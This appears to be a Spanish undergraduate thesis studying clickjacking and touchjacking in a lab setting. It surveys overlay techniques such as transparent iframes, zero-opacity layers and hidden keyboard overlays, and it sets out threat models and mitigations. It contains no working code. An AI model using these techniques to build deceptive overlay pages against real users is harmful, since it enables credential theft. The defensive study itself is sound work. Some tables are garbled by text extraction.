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RESUMEN

El presente proyecto de titulacién evalla las metodologias de ataque clickjacking y
touchjacking en un entorno controlado, siendo el objetivo fundamental determinar cual es
el nivel de eficiencia de cada uno de estos ataques sometidos a ciertas condiciones que
seran planteadas en los diferentes escenarios, de igual forma se implementan las medidas
de mitigacion sugeridas por autores dentro de las investigaciones realizadas, para el
desarrollo de la investigacion se realizaron los siguientes pasos: 1) Desarrollo de un
escenario de Ataque 2) Evaluacion de amenazas del escenario de ataque 3) Desarrollo de
un arbol de ataque 4) Determinar vectores criticos del escenario planteado 5) Evaluacion
de técnicas de ataque y mitigacion.

Para el desarrollo del presente proyecto de investigacion se utilizé un método experimental
con el fin de modificar cada una de las variables de los escenarios planteados y determinar
los efectos que causa en cada uno de ellos, también se implementa un método cualitativo
con el fin de determinar caracteristicas y condiciones que pueden presentar un mayor
riesgo frente a este tipo de ataques.

El resultado del analisis de las técnicas de clickjacking y touchjacking en esta investigacion
busca establecer medidas de sanitizacion e implementacion de buenas practicas, asi como
también la utilizacién de estandares en el desarrollo web para mejorar la seguridad dentro

de las aplicaciones web.

Palabras clave: Clickjacking, Touchjacking, Eficiencia, Sanitizacion.



ABSTRACT

This degree project assesses the clickjacking and touchjacking attack methodologies in a
controlled environment, the main objective being to determine the level of efficiency of each
of these attacks subject to certain conditions that will be posed in the different scenarios, in
the same way The mitigation measures suggested by the authors are implemented within
the investigations carried out, for the development of the investigation the following steps
were carried out: 1) Development of an Attack scenario 2) Evaluation of threats of the attack
scenario 3) Development of a tree attack 4) Determine critical vectors of the proposed
scenario 5) Evaluation of attack and mitigation techniques.

For the development of this research project, an experimental method was used in order to
modify each of the variables of the proposed scenarios and determine the effects it causes
in each one of them, a qualitative method is also implemented in order to determine
characteristics and conditions that may present a greater risk against this type of attack.
The result of the analysis of clickjacking and touchjacking techniques in this research seeks
to establish sanitation measures and implementation of good practices, as well as the use

of standards in web development to improve security within web applications.

Keywords: Clickjacking, Touchjacking, Efficiency, Sanitation.
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1.

INTRODUCCION

Una de las constantes amenazas dentro del desarrollo de aplicaciones web
son los posibles ataques informéaticos a los que éstas se ven expuestas. Estos
ataques principalmente consisten en vulnerar sistemas mediante la aplicacién
de diferentes técnicas con el fin de acceder a la informacién o datos de uso
confidencial [1], también pueden estar orientados Unicamente al robo de
informacion, o ser implementados en ambientes controlados para demostrar
vulnerabilidades de una plataforma o sistema a través del uso de

herramientas de hacking ético [2].

En la actualidad, se han desarrollado nuevas técnicas de ataques orientadas
a usuarios que manejan plataformas web con el fin de acceder a datos o
informacion confidencial viendose evidenciada esta problematica en estudios
recientes que demuestran estadisticamente que el 14,69% de los ataques
son del tipo Cross Site Scripting (XSS) que consiste en afadir plantillas
adicionales a una pagina web con el fin de obtener acceso a todo tipo
de informacion que pueda ser ingresada por parte de los usuarios [3]. Estos
estudios indican que los hackers se orientan a que los ataques informaticos
sean menos perceptivos a los usuarios y logren ser indetectables por los

sistemas de deteccién como antivirus o firewalls.

Con el avance de la tecnologia e integracion de lenguajes de programacion,
las paginas web buscan ser mas sofisticadas y brindar mejores prestaciones
dando lugar al surgimiento de nuevas vulnerabilidades, ocasionando que este
tipo de paginas sean constantemente atacadas con el fin de buscar nuevas
superficies de atague y que se evidencia en el reporte del 2019 de la empresa
Symantec [4] en la cual indica que se descubren 95 nuevas vulnerabilidades

a diario.

Otro claro ejemplo es mencionado por el sitio Web Statistics Report en el afio
2018 [5] en donde se detectaron vulnerabilidades de aplicaciones en
ambientes de produccién siendo las mas afectadas paginas orientadas a

Tecnologia, Bancos, gobiernos, salud y educacion.



Dentro de la investigacién realizada por OWASP [6] sobre los riesgos mas
criticos en aplicaciones web ocupan la séptima posicion los ataques Cross
Site Scripting (XSS) ,que consisten en obtener informacion de usuarios o
redirigirlos a una pagina maliciosa con el fin de obtener datos de acceso o
informacion confidencial, evidenciando que este tipo de ataques son
constantemente usados para el robo de informacién a través de diferentes

técnicas como las de clickjacking y touchjacking que son basados en XSS.

Por otro lado, los iFrames con los que son desarrolladas las plataformas web
estan diseflados para enganchar datos dindmicos al navegador, lo cual ha
introducido una vulnerabilidad que ha sido explotada por hackers para
publicar anuncios llamativos dentro de paginas web con el fin de que los
usuarios accedan a este tipo de contenido. Estos ataques se han orientado
ultimamente a las redes sociales como Facebook y Twitter, y para evaluar su
impacto se han aplicado técnicas como Cross Site Scripting (XSS) sobre el
cbdigo iFrame. Ademas, se ha demostrado que este tipo de técnicas pueden
ser inyectadas en diferentes tipos de archivos como HTML, PHP y ASP, las
cuales junto con Cross-Site Request Forgery (CSRF) permitirian determinar
si un sitio web es vulnerable a cualquiera de estos ataques, y de esta forma

seria necesaria la implementacion de clickjacking [7].

Con estos antecedentes, el presente trabajo de titulacion propone evaluar las
técnicas de ejecucion de ataques de clickjacking y touchjacking en paginas
web HTML para poder identificarlos y prevenirlos. Los resultados de esta
investigaciéon permitiran a los desarrolladores y administradores identificar
las posibles vulnerabilidades a las que los sitios web podrian estar expuestos;
particularmente, cuando se utilizan iFrames como vectores de ataque en

distintos navegadores Web.
1.1. Descripcion del problema

En la actualidad es importante ir de la mano con los avances tecnolégicos, en
el area de la informatica este tipo de avances y nuevas técnicas sirven para

mejorar diferentes sistemas informaticos pero como es conocido las mejoras



1.2

1.3

1.4.

en muchos de los casos generan nuevos riesgos o vulnerabilidades, por ello es
necesario tener un conocimiento sobre los diferente tipos de riesgos a los que
estamos expuestos, el internet se ha convertido una herramienta de acceso de
informacion a nivel mundial es el lugar indicado para obtener datos privados o
informacion de usuarios de manera ilegal, actualmente existen diversas
técnicas de ataques pero es importante identificar cuéles son las mas comunes

y plantear medidas de mitigacion ante las mismas.

. Motivacion

La presente investigacion tiene como objetivo explicar detalladamente el
funcionamiento de las técnicas de ataques de clickjacking y touchjacking, se
han escogido estas técnicas entre muchas existentes debido a las siguientes
circunstancias: la primera se debe al constante aumento de plataformas web
orientadas a: e-comerce, educativas e institucionales, este tipo de plataformas
se encuentran mucho mas expuestas a delincuentes informaticos con fines de
robo de informacion o sustraccion de datos personales; y la segunda es
motivada por las falencias con respecto al desarrollo web y desconocimiento
de medidas de prevencion contra este tipo de ataques que se evidencian en la

actualidad.

. Objetivo general

Realizar un andlisis y evaluacion de la eficiencia de ataques de tipo clickjacking

y touchjacking en contra de paginas web con iframes vulnerables.

Objetivos especificos

e Analizar las diferentes técnicas de ataques de clickjacking y touchjacking

y su nivel de eficiencia utilizando diferentes navegadores web.

e Determinar las caracteristicas funcionales que podrian hacer de un

sistema web, un objetivo vulnerable a potenciales ataques de clickjacking

y touchjacking.



2.

e Evaluar la eficiencia de ejecucion de estos ataques, contrastando su
potencial impacto con algunas técnicas de mitigacion propuestas por

estandares y buenas practicas de desarrollo y sanitizacion web existentes.

REVISION LITERARIA

2.1. Marco teodrico

El término de clickjacking fue descubierto en el afio 2008 por Jeremiah
Grossman y Robert Hansen [8]. El término touchjacking fue acufiado
posteriormente con la introduccion de pantallas tactiles en dispositivos moviles
[9]. Estas técnicas consisten en ejecutar ataques de dominio cruzado para
persuadir al usuario que realice un clic en un elemento especifico de una pagina
HTML, mientras que en realidad la victima estaria interactuando con un sitio
web diferente al original sin percatarse de ello. Para la realizacion de este
ataque, es necesario cargar una pagina maliciosa dentro de la pagina HTML
vulnerable utilizando iFrame y la modificacion de nuestro archivo CSS
(Cascading Style Sheets) para ocultar todos los elementos excepto la region
objetivo de la pagina web, generalmente se utilizan transparencias en la

ventana que se sobrepone a la original para no hacerla visible a la victima.

Debido a que la factibilidad de este ataque depende de la ingenuidad del
usuario, hoy en dia los navegadores mas utilizados como Chrome, Edge y
Firefox son victimas de estos ataques, sin que se pueda hacer mucho para
prevenirlos, siendo mayormente vulnerables paginas web del gobierno,

bancarias e instituciones. [8]

Dentro de la investigacion se han identificado los siguientes tipos de ataque de

clickjacking:

e Esconder el elemento objetivo [8]: Consiste en que el atacante oculta

el elemento objetivo mediante la utilizacion de cédigo HTML o CSS, pero

4



los eventos que realiza el mouse se mantienen trabajando, este ataque
puede estar hecho por un elemento transparente sobrepuesto sobre la
pagina web con el valor de opacidad en cero.

Multiple Iframe [10]: El atacante trata de engafar a la victima
Unicamente cargando un doble iframe en la pagina original ocultando
una parte del elemento web, con el fin de eliminar las seguridades de los
navegadores web.

Ataque Redimensionado [11]: Este tipo de ataque inserta un elemento
web muy pequeiio sobre un elemento de mayor tamafo con el objetivo

de hacerlo parecer un botén y de esta forma despistar a la victima.

Otro tipo de atagque mencionado en esta investigacion es la técnica de

touchjacking que esta enfocada a los navegadores que utilizan tecnologia tactil,

como los dispositivos moviles que utilizan un componente denominado

WebView el cual permite la comunicacion y despliegue de paginas HTML,

permitiendo que este tipo de ataque se realice mediante las siguientes técnicas:

Ataque Cross Site Scripting [12]: Este tipo de ataque consiste en robar
las cookies del dispositivo de la victima ya que en estas se almacena
informacion persistente del navegador permitiendo hacer uso de
informacion personal de la victima.

Ataque Invisible [13]: En este tipo de ataque se sobrepone una plantilla
web sobre otra y se la oculta con el fin de que el usuario crea que esta
actuando sobre una pagina web original mientras por detrds se
encuentra embebida una pagina maliciosa.

Ataque de Teclado [11]: Este ataque consiste en insertar plantillas web
maliciosas ocultas sobre formularios o campos en donde el usuario
deberéinsertar informacion desde el teclado, con el fin de robar los datos

y claves de acceso.

Los ataques mencionados son muy comunes en la actualidad cuya ejecucion

requiere que el atacante calcule la posicion en donde el usuario tocara la
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pantalla. Aunque parezca complicado, esto en realidad no lo es ya que existen
técnicas de posicionamiento para poder agregar paginas webs invisibles sobre
elementos que pueden ser seleccionados por el usuario [11].

La relativamente moderada complejidad para replicar estos ataques motiva su
estudio para poder implementarlos y evaluarlos en entornos controlados,
permitiendo experimentar con las posibles formas en las que un atacante podria
comprometer paginas web en distintos navegadores usando clickjacking y/o
touchjacking.

Metodologia OTA: La metodologia OTA (Operational Threat Assessment) es
aplicada para implementar una matriz con el fin de caracterizar y diferenciar las
amenazas contra objetos de nuestro interés, el propaosito principal de la matriz
es identificar los atributos que podrian ayudar a un analista a caracterizar las
amenazas con respecto a cada una de las capacidades generales.

Esta caracterizacion permite tener un panorama amplio de las amenazas sin
asignar etiquetas a una amenaza especifica, ya que resulta muy complicado

analizar cada tipo de amenaza de forma coherente.

El objetivo principal de la Metodologia OTA es clasificar las amenazas de un
vocabulario comun, ademas que permite identificar posibles rutas de ataques
gue se respalda en la capacidad de identificar los pasos de mitigacion

adecuados para evitar cualquier tipo de ataque. [14]

Metodologia STRIDE: Es una técnica de modelado de amenazas que se usa
para descubrir la seguridad y debilidades de un sistema de software.
El uso de esta metodologia sugiere una serie de pasos que se describen a

continuacion:

Modelar el sistema mediante un diagrama de flujo de datos (DFD), para ese
paso es necesario definir las actividades iniciales para determinar el alcance

del modelo del sistema.



2. Asignar cada uno de los elementos del DFD (Diagrama de flujo de dato) a las
categorias de las amenazas, en STRIDE las amenazas se dividen en seis
categorias:

e Spoofing: Que se refiere a suplantar a un usuario o programa legitimo.

e Tampering: Se refiere a una amenaza que pretende modificar
aplicaciones o recursos de forma ilegitima.

e Repudiation: Se refiere a que un usuario legitimo o malicioso intentara
de negar la ejecucion de una accion dentro de un sistema.

e Information Disclosure: Se refiere a la obtencion de informacion
privada a la que cominmente un usuario no deberia tener acceso.

e Denial of service: Se refiere a una amenaza cuyo fin es no dejar
disponibles recursos de un sistema para los usuarios que lo usan.

e Elevation of privilege: Se refiere a la accion de obtener acceso
privilegiado a ciertos recursos que se encuentran normalmente

protegidos.

3. Obtener las amenazas para cada uno de los mapeos, la metodologia STRIDE
proporciona una lista de verificacion de amenazas que deben ser consideradas,
como un arbol de amenazas esta estructura esta destinada a facilitar la

navegacion u proporcionar una justificacion detras de cada amenaza.

4. Finalmente se debera documentar las amenazas, la metodologia STRIDE no

impone ningun formato especifico para este procedimiento. [15]

Vectores de Ataque: Los vectores de ataqgue son medios por los cuales una
amenaza puede aprovechar alguna vulnerabilidad y lograr un resultado, para
comprender el funcionamiento de un vector de ataque es importante conocer
las tacticas, técnicas y procedimientos de su funcionamiento, que en general
se refiere a gestionar, orquestar y supervisar un ataque, existen 5 vectores de
ataques mas comunes que se enumeran a continuacion: [16]

e Atacar el elemento humano: Es sin duda uno de los vectores de ataque

mas comunes ya que el objetivo principal es explotar vulnerabilidades

7



de las personas a través de ingenieria social, phishing o ataques de
redes sociales.

Web y navegador basados en vectores de ataque: Se utilizan sitios
webs comprometidos o falsos para enviar codigo malicioso o exploits a
sus victimas.

Activos expuestos en internet: Es un vector de ataque que afecta
servicios que no se encuentran suficientemente protegidos y estan
expuestos, utilizando esta vulnerabilidad para la entrega de malware o
ataques de ransomware.

Explotacién de vulnerabilidades o malas configuraciones: Son
vectores de ataque utilizados para acceder a un sistema u organizacion.
Red o fallas de seguridad de protocolo: Al igual que la explotacion de
vulnerabilidades el objetivo de este vector de ataque es encontrar fallas
de configuracion a nivel de red con el fin de ganar acceso.

Ataques a cadena de suministro: Son vectores de ataque cuyo
objetivo es el dafar elementos a nivel de infraestructura de software o

hardware.

Niveles de Amenazas: El propdsito de estimar el nivel de amenaza es mejorar

el analisis integral de estas y priorizar los gastos que se deban realizar para

mitigar dichas amenazas, el tipo de amenazas se pueden caracterizar en

niveles subdivididos en los siguientes atributos: [17]

NIVEL DE
AMENAZA

PERFIL DE AMENAZA

COMPROMISO

RECURSOS

INTENSIDAD

OCULTACION TIEMPO

Semanas a Meses

PERSONAL TECNICO

CONOCIMIENTO

CYBER | KINETIC

Semanas a Meses

Semanas a Meses

ACCESO

Dias a Semanas

Figura 1. Matriz genérica de amenazas [17].



e Intensidad: Se refiere ala determinacién o perseverancia que tiene una
amenaza hacia su objetivo, se refiere a que tan dispuesto esta un
atacante en arriesgarse para alcanzar su objetivo, las amenazas que
presentan mayor intensidad son las consideradas como mas peligrosas.

e Ocultacion: Se refiere a la capacidad que tiene una amenaza en
mantenerse en secreto durante la consecucion de su objetivo, esto
puede implicar ocultar detalles sobre el objetivo, estructura y funciones
internas lo que dificulta el tomar medidas preventivas o prevenir ataques
de este tipo de amenazas.

e Tiempo: Este atributo cuantifica el periodo durante el cual una amenaza
es capaz de dedicarse a planificar, desarrollar y desplegar métodos para
alcanzar un objetivo, tomando en cuenta estos detalles se puede concluir
gue mientras mas tiempo esté dispuesto a dedicar una amenaza a
preparar un ataque tiene mayor potencial de impacto.

e Cyber: Este atributo se refiere al conocimiento tedrico y practico
relacionado con la informatica, redes o sistemas automatizados.

e Kinetic: Este atributo se refiere a la competencia tedrica y practica
relacionada a la fisica de sistemas, movimiento de cuerpos y fuerzas
asociadas.

e Acceso: Se refiere a la capacidad de colocar a un usuario dentro de un
sistema restringido que se base en privilegios o credenciales a través de
vulnerabilidades de un sistema desprotegido, el acceso de una amenaza
puede provocar multiples consecuencias como manipulacion y robo de

informacion.

Matriz de Riesgo: Una matriz de riesgo se utiliza para evaluar cada uno de los
parametros que conlleva una actividad con el fin de tener informacidn precisa
de éareas sensibles dentro de un proceso, una matriz efectiva nos permite
realizar comparaciones con cada uno de los procesos y plantear medidas de
mitigacion.

Los elementos que deben considerarse en una matriz de riesgo son los

siguientes:



Objetivos estratégicos

delnegocio

klenilcacois s | Factores de riesgo

Riesgos

1

Probabilidad de
ocurrencia y valoracion

Evaluacion de

controles internos

Riesgo neto o residual —

Decisiones sobre el
riesgo neto

Figura 2. Fases de una matriz de riesgo [18].

Factores de Riesgo: Es importante identificar los riesgos inherentes
gue no son mas que actividades que surgen de los cambios de cada uno
de los procesos evaluados, se debe mencionar que cada uno de estos
riesgos pueden ser mas relevantes que otros.

Probabilidad: Consiste en determinar la probabilidad de que el riesgo
ocurra, el riesgo se compone de un analisis de la probabilidad de
ocurrencia y el efecto que tiene esta ocurrencia, puede ser efectuada en
métodos cualitativos o cuantitativos dependiendo de la disponibilidad de
la informacion.

Evaluacion de controles internos: La evaluacion de los de cada uno
de los riesgos o controles internos se pueden utilizar los siguientes
meétodos:

e Cualitativos: Emplea escalas descriptivas que permiten evaluar
la probabilidad de cada evento, este método se utiliza cuando un
riesgo no justifica tiempo y recursos para ser evaluado de forma
mas profunda.

e Cuantitativos: Se emplean valores numéricos para evaluar la
probabilidad de ocurrencia de un evento, este método brinda

informacion mas precisa sobre la ocurrencia de un riesgo.
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Para realizar una evaluacion es importante asignar valores dentro de un rango

a cada riesgo como se muestra en la siguiente gréfica:

Valoracién de riesgo inherente

Alto - 5 5
O -
= Medio 3 3 5
(@]
<
% Bajo 1 2
Bajo Medio Alto

FRECUENCIA O PROBABILIDAD
DE OCURRENCIA

Figura 3. Matriz de Riesgo [18].

En la Figura 3 se han asignado las siguientes escalas: Alta (5), Moderada (4),
Media (3), Baja (2), Insignificante (1).
Finalmente son evaluadas las medidas de mitigacion aplicadas a cada uno de

los riesgos para determinar la efectividad de estas.

e Riesgo neto residual: Es el resultado de los riesgos y las mitigaciones
aplicadas, a partir de estos resultados se pueden tomar decisiones para

fortalecer controles o implementar nuevos. [18]
2.2. Estado del Arte

En esta seccion se analiza la literatura de trabajos relacionados al tema de
investigacion con el fin de seleccionar técnicas de ataques y medidas de
mitigacion sugeridas por los diferentes autores, también se especifica la
contribucion que se hard con respecto a los ataques de clickjacking vy
touchjacking.
2.2.1.Trabajos Relacionados

De los trabajos de literatura investigados se mencionan técnicas utilizadas para
los ataques de clickjacking [8], y touchjacking [19], que nos daran la pauta para

comprender el funcionamiento de este tipo de ataques, de igual forma en la
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bibliografia investigada los autores plantean medidas de mitigacion que son
analizadas durante el desarrollo de esta investigacion.

Una vez obtenida la informacidn con respecto a técnicas de ataque y mitigacion
de clickjacking y touchjacking se realizan las siguientes tablas resumen:

Tabla 1. Técnicas de ataque y mitigacién de clickjacking.
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Con respecto al tipo de ataque de touchjacking se realiza el siguiente cuadro

resumen de técnicas de ataque y mitigacion citadas por los autores.

Tabla 2. Técnicas de ataque y mitigacién touchjacking.

AUTORES

ANALISIS TOUCHJACKING

TECNICAS DE ATAQUE

TECNICAS DE MITIGACION

Origin
Hiding

WebView Ul
Attacks

Main-Frame
Navigation

Redressing
attacks

Cross site

Scripting

Iframe
Sandbox

Origin
Validation

Alert
Message

Mobile
authenticator

(9]

v

v

v

(33]

v

v

v

v

[34]

<

(11]

AR

<

[12]

[35]

<

(36]

<

[19]

<

[13]

ANIRNERNIRN

[37]

NEYRYRY
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2.2.2.Contribucién

Con el presente trabajo de investigacion se busca determinar qué condiciones
son las propicias para que se lleven a cabo los ataques de clickjacking y
touchjacking midiendo su impacto, con el fin de contribuir con la generacion de
contramedidas, mediante la aplicacion de buenas practicas de desarrollo y

sanitizacion web.
2.3. Metodologia

En primera instancia se aplicara un método experimental que se define como
la creaciébn de situaciones en las condiciones exactas que se desea,
permitiendo manipular diferentes variables, con el fin de probar, elaborar y
refinar el conocimiento, hasta alcanzar a comprender el comportamiento de las
variables relevantes que intervienen en estos fendmenos. Dentro de este
método intervienen tres principales momentos: el objeto de observacion, el

observador y un sistema de registro cuantitativo o cualitativo.[14].

Como primer paso se implementaran escenarios procedentes de las
investigaciones realizadas sobre los ataques clickjacking y touchjacking que
han sido detectados durante el analisis de cada una de las investigaciones
sugeridas.

Posteriormente, para la implementacion de estos tipos de ataques se utilizaran
herramientas para realizar el analisis de los escenarios e identificar las
principales amenazas a las que se ve expuesto nuestro modelo de sistema y
de esta forma plantear medidas de mitigacion en base a las evaluaciones
obtenidas.

Una vez realizadas las pruebas de estos escenarios en diferentes navegadores
Web, se procederd a llevar un registro cualitativo acerca del comportamiento
de cada uno de los ataques simulados.

Finalmente, se evaluard la eficiencia de estos ataques, contrastando a los
resultados obtenidos en cada uno de los escenarios, con técnicas de mitigacion
gue se han planteado como mejores practicas de desarrollo y sanitizacion web,
identificando  oportunidades de mejora y recomendaciones para

desarrolladores y administradores de sistemas.
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2.4. Seleccion de Herramientas

Las herramientas que se han planteado para el desarrollo de los escenarios se

describen a continuacion:

Google Chrome: En la actualidad la mayoria de los navegadores ejecutan un
solo dominio de proteccion lo que los hace méas probable que un atacante
aproveche una vulnerabilidad no parcheada comprometiendo de esta manera
todo el navegador, El navegador Google Chrome esta construido bajo una
arquitectura denominada Chromium el cual utiliza la separacién de privilegios,
el médulo Kernel trabaja sobre el usuario mientas que el médulo de renderizado
actia en la web, estos médulos son ejecutados en dominios de proteccion
separados por un sandbox lo que regula los privilegios del renderizado de las
paginas web, esto evita que si algun atacante logra tener privilegios sobre el
navegador sera aislado en la sandbox impidiendo asi que logre leer o escribir

el sistema de archivos del usuario.[20]

Rendering Engine
HTML parsing
CSS parsing
Image decoling
JavaScript Interpreter

Browser Kernel

Cookie database
History Database
Window management
Location bar

Regular expressions
Layout
Document Object Model
Rendering
SVG
XML parsing

XSLT Both

Safe Browsing blacklist
Network stack
S5L/TLS
Disk Cache
Download manager
Clipboard

URL parsing

Unicode parsing

Figura 4. Tareas del motor de renderizado y el kernel de Chrome [20].

La arquitectura de Google Chrome asigna distintos componentes de un
navegador ente el kernel del navegador y el motor de renderizado equilibrando
la seguridad, la compatibilidad y el rendimiento, el kernel del sistema es el
encargado de administrar los recursos persistentes como las cookies y la base
de datos de contrasefias, la arquitectura del navegador se basa en dos disefios:
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1. La arquitectura debe ser compatible con la web existente, es decir que cada
una de las restricciones de seguridad aplicadas en la arquitectura debe ser
transparente para los sitios web.

2. La arquitectura del motor de renderizado actiia como una caja negra que toma
el cédigo HTML sin analizar el tipo de entrada lo que facilita la compatibilidad

con diversas paginas HTML.
Sanbox

Rendering

Engine

r|‘

HTMIL, J5... Rendered Bitmap

Browser Kernel

Figura 5. Arquitectura del navegador Google Chrome [20].

Microsoft Edge: Es un navegador web desarrollado para computadores y
versiones moviles de Windows 10 para sustituir al navegador Internet Explorer,
utiliza un motor de renderizado llamado EdgeHTML, la interfaz es muy similar
a Chrome y Mozilla, una de las principales caracteristicas es que es ligero y
posee una interfaz simple y minimalista.

Algunas de las ventajas de este navegador se describen a continuacion:

1. Posee una tecnologia SmartScreen que permite evitar el phishing mediante el

chequeo de reputacion de paginas que considera poco seguras.

2. Incorpora Adobe Flash facilitando el uso sin realizar instalaciones de software,

haciéndolo compatible con paginas que usan este estandar multimedia.
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3. Las ultimas versiones de Microsoft Edge estan basadas en cromium lo que lo
ha hecho muy parecido a el navegador Google Chrome, pero sin comparar su
rendimiento ya que el de Google Chrome es aun superior.[21]

Servidor XAMPP: Es una aplicacién de software libre y ligera que contiene las
distribuciones mas comunes de apache en un solo paquete, puede ser
descargado en version normal y Lite, el paquete XAMPP incluye: Apache
Server, PHP, MySQL, phpMyAdmin, Openssl y SQLite.

Cabe indicar que XAMPP es compatible con sistemas operativos: Windows,
Linux, OS x. [22]

Sea Monster: Es una aplicacion de modelado que nos permite describir
diferentes aspectos que se relacionan con algun tipo de vulnerabilidad con el
fin de determinar que vulnerabilidades especificas se deben cumplir para llegar
a un objetivo comun, estos objetivos especificos pueden cumplir los siguientes
puntos de vista:

e Que provoca la vulnerabilidad.

e Como el sistema puede ser atacado mediante una vulnerabilidad

detectada.

e Que contramedidas se deben tomar para mitigar la vulnerabilidad.
El objetivo de la herramienta Sea Monter es disefiar un arbol de ataque para
determinar que requisitos se deben cumplir para llegar a un objetivo como se

indica en la siguiente imagen.

Nodo
Raiz

Nodo 1

Accion
2

Figura 6. Estructura del arbol de Ataque.
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e Nodo Raiz: Representa el Objetivo de ataque

e Nodo 1: Representa las acciones que se deben realizar para llegar al
objetivo, estos nodos pueden incluir informacion como: Probabilidad de
gue ocurran, costo, nivel de complejidad para realizar el ataque.

e Acciones: Representan sub acciones que alimentan al nodo 1, pueden
estar relacionadas mediante conectores ldgicos and, or, para especificar

que se deben cumplir una 0 mas acciones para llegar al nodo1.[23]

Microsoft Threat Modeling: Esta herramienta de modelado de Microsoft es
utilizada durante el ciclo de desarrollo de proyectos, debido a que permite
identificar y mitigar posibles inconvenientes con respecto a seguridad de forma
temprana, optimizando el tiempo y recursos, el diagrama de funcionamiento de

la herramienta se basa en los siguientes aspectos:[24]

Diagramar

Figura 7. Etapas Microsoft Threat Modeling.

Las ventajas de la utilizacidon de esta herramienta son las siguientes:

e Analizar cada uno de los disefios planteados y evidenciar posibles

problemas de seguridad.

e Plantear diversas alternativas de solucibn con respecto a las

vulnerabilidades detectadas.

e Realizar mejoras y optimizaciones a nivel de disefio.
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3. DISENO DEL ENTORNO EXPERIMENTAL

Dentro del diseiio del entorno experimental se han planteado dos tipos de
modelos:

Modelo del Sistema: En este modelo se explica la arquitectura de software y
hardware sobre la cual se realiza nuestro sistema.

Modelo de Ataque: En este modelo se especifica los actores y mecanismos
mediante los cuales se lleva a cabo los ataques planteados para el modelo
definido.

3.1. Modelo del Sistema

& —0—@—

Usuario Navegador Iframe Servidor Web

Figura 8. Modelo del Sistema.

Usuario: Para el modelo del sistema se estimard que el usuario que se
encuentre bajo este tipo de ataques sera considerado como un usuario que
tiene un nivel de conocimiento medio-alto en seguridad (usuario avanzado o
experto).

Navegador: Para el planteamiento del modelo del sistema se han especificado
los navegadores Google Chrome y Microsoft Edge con las siguientes

caracteristicas:

Tabla 3. Caracteristicas del sistema.

Google Chrome Microsoft Edge
Version 80.0.3987.132 44.18362.449.0
Arquitectura 64 bits 64 bits
Sistema Windows 10 (64 bits) Windows 10 (64 bits)
Operativo
Hardware Core i7, RAM 8GB

19



Iframe: Para la implementacion del iframe en nuestro sistema se desarrolla
nuestra pagina web en HTML y se implementa el elemento <iframe> </iframe>

para la carga de nuestra pagina web.

Servidor Web: Para la implementacion de nuestro servidor web local se utiliza
la herramienta XAMMP en la version 2.2 (Este servidor es utilizado para evaluar

los escenarios de clickjacking y touchjacking planteados).
3.2. Modelo de Ataque

Para implementar nuestro escenario practico se utlizan las herramientas
mencionadas en la seccidn 2.4, que permiten identificar las vulnerabilidades y
los tipos de ataques a los que esta expuesto el escenario planteado, para ello

se ha definido el siguiente modelo de ataque:

Usuario ®rrinn,,,
yll llllllllllllllllllllllllllllllll 1
x " : Bl .
m— q i
< Navegador At?C?me
. - N
&~ : 4
4
A
o L

Iframe Servidor Web

-

Figura 9. Modelo de Ataque.

En este modelo se define un atacante el cual trata de persuadir al usuario para
gue acceda a una pagina web fraudulenta mediante la utilizacién de diferentes
métodos generalmente de ingenieria social, una vez el usuario acceda al sitio
web fraudulento pensard que esta trabajando sobre una péagina web real

certificada pero en realidad la pagina web original esta siendo cargada con un
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iframe con el objetivo de ocultar la pagina maliciosa detras y robar los clics del
usuario, una vez obtenida la informacién puede ser enviada a un servidor en el
cual se almacenara todos los datos que han sido secuestrados.

En el modelo de ataque que se ha planteado se ha omitido el método por el
cual el atacante ha conseguido que el usuario ingrese al sitio web malicioso, de
igual forma se han realizado evaluaciones en un ambiente de pruebas
Unicamente con la utilizacion de los navegadores Microsoft Edge y Google
Chrome, ademés se han definido plantillas desarrolladas en html y css que
simulen el acceso con credenciales a una pagina web con el fin de evaluar cada
una de las técnicas de ataques de clickjacking y touchjacking citadas en

conformidad con los escenarios planteados.

3.2.1.ldentificacion de Amenazas

El proceso de identificacion de Amenazas son el resultado de la
implementacion del modelo de ataque en la herramienta Microsoft Threat
Modeling y mediante la generacion del reporte del escenario planteado (Anexo

I) se han obtenido las siguientes amenazas:
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Tabla 4. Identificacibn de Amenazas.

Id Amenaza Categoria | Categoria Descripcién Contingencia
de la del Stride
Amenaza
150 WEB Browser Alta Tampering | El navegador WEB tiene acceso a la memoria Implementar funcién que brinde menos
Process Memory compartida o punteros dandole la capacidad acceso a memoria y validar los datos
Tampered de ser controlado por la pagina web Falsa proporcionados.
151 Cross Site Alta Tampering | El servidor web podria ser objeto de un ataque | Sanitizar las entradas del servidor web.
Scripting de secuencias de comandos entre sitios
152 Elevation Using Alta Elevation La pagina web falsa puede integrarse con el Implementar medidas de deteccion de
Impersonation of Privilege contexto del navegador con el fin de ganar falsas integraciones con el navegador
privilegios adicionales.
153 Fake Web Alta Tampering | La Web Falsa tiene acceso a la memoria, como | Implementar funcién que brinde menos
Process Memory memoria compartida 0 punteros, y puede | accesoamemoriay validar los datos
Tampered controlar lo que ejecuta el navegador WEB proporcionados
154 Replay Attacks Alta Tampering | Los paquetes enviados sin secuencia pueden Implementar protocolo de comunicacion
ser capturados por muchas vias. que impida los ataques replicados.
155 Collision Attacks Alta Tampering Los atacantes pueden superponer datos Reensamblar los datos antes de que

sean filtrados.
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Id Amenaza Categoria | Categoria Descripcién Contingencia
de la del Stride
Amenaza
156 Elevation Using Alta Elevation | El navegador WEB puede pasar el contexto de | Implementar medidas de deteccion
Impersonation of Privilege | la pagina Web falsa para obtener privilegios de falsas integraciones con el
adicionales. navegador
157 Web Server Process Alta Tampering El servidor Web tiene acceso a la memoria y La funcién deberia tener menos
Memory Tampered le da la capacidad de controlar lo que se acceso a la memoria
eiecuta
158 Replay Attacks Alta Tampering | Los paquetes o mensajes sin nimeros de | Implementar un protocolo que admita
secuencia se pueden capturar y reproducir de técnicas anti-repeticion.
una amplia variedad de formas
159 Collision Attacks Alta Tampering | Los atacantes que pueden enviar una serie de Ensamblar los datos antes de
paquetes 0 mensajes para superponer datos filtrarlos
160 Elevation Using Alta Elevation El servidor web puede suplantar a la pagina | Validar el origen de los recursos de la
Impersonation of Privilege web para obtener privilegios adicionales pagina web.
161 Spoofing the User Alta Spoofing Un usuario puede ser engafiado por un Utilizar un mecanismo de

External Entity

atacante con el fin de ganar acceso al

navegador web.

autenticacion para validar accesos

externos.
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Id Amenaza Categoria | Categoria Descripcion Contingencia
de la del Stride
Amenaza
162 Elevation Using Alta Elevation El navegador WEB puede hacerse Validar el origen de los recursos del
Impersonation of Privilege pasar por el contexto del usuario para navegador.
obtener privilegios adicionales
128 Weak Authentication Media Information Autenticacién de degradacion o un Implementar un esquema de
